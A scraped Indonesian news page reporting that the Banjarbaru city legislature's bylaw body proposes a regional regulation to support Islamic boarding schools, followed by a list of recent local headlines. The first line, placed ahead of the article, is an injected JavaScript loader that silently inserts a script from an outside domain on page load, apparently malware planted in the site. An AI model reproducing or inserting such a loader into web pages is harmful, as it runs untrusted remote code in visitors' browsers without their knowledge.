(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Usulkan Raperda Inisiatif Pondok Pesantren


KANALKALIMANTAN.COM, BANJARBARU – Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kota Banjarbaru mengusulkan Rancangan Peraturan Daerah (Raperda) usulan inisiatif tentang fasilitasi Pondok Pesantren (Ponpes), Senin (1/10/2021).

Raperda Ponpes itu sangat perlu dibuat sebagai fasilitas dalam bentuk pengakuan pondok pesantren sebagai lembaga pendidikan dalam mencerdaskan anak bangsa.

“Diharapkan dengan adanya Raperda ini peningkatan fasilitas pesantren dari pembinaan, pemberdayaan dan fasilitas diperhatikan,” ujar Norkhalis Anshari, juru bicara Bapemperda DPRD Banjarbaru.

Pembentukan Raperda didasari atas Undang-Undang Nomor 18 tahun 2019 tentang pesantren, salah satu pasal menjelaskan bahwa pemerintah dapat memfasilitasi penyelenggaraan pesantren.
Dilanjutkan dengan Peraturan Presiden Nomor 82 Tahun 2021 tentang Pendanaan Penyelenggaraan Pesantren.

 

Baca juga : Penggunaan Jalan Negara Tiga Kali Perpanjangan, Jalan Overpass PT STC Dipertanyakan

Di Kota Banjarbaru, lanjut Norkhalis, belum ada payung hukum mengenai pengaturan fasilitas pesantren di Kota Banjarbaru, sebagai asar hukum dalam rangka menjamin penyelenggaraan pesantren sebagai fungsi pendidikan, dakwah dan pemberdayaan masyarakat.

“Perda itu nanri bisa menjadi acuan pemerintah kota memperhatikan dan kepedulian kepada pesantren yang ada di Banjarbaru, seperti bantuan keuangan, sarana dan prasarana, serta beasiswa para santri. Juga sesaui dengan semboyan Banjarbaru Juara Maju, Agamis dan Sejahtera,” ujar politisi PKS ini.

Diakuinya Raperda ini merupakan salah satu support dari program Wali Kota Banjarbaru, dimana menjadikan Kota Banjarbaru yang agamis.

“Jadi dengan adanya payung hukum ini, pemerintah bisa menganggarkan. Akan tetapi, kita patut juga melihat keuangan daerah, seberapa mampu pemerintah bisa membantu pesantren yang ada di Kota Banjarbaru,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.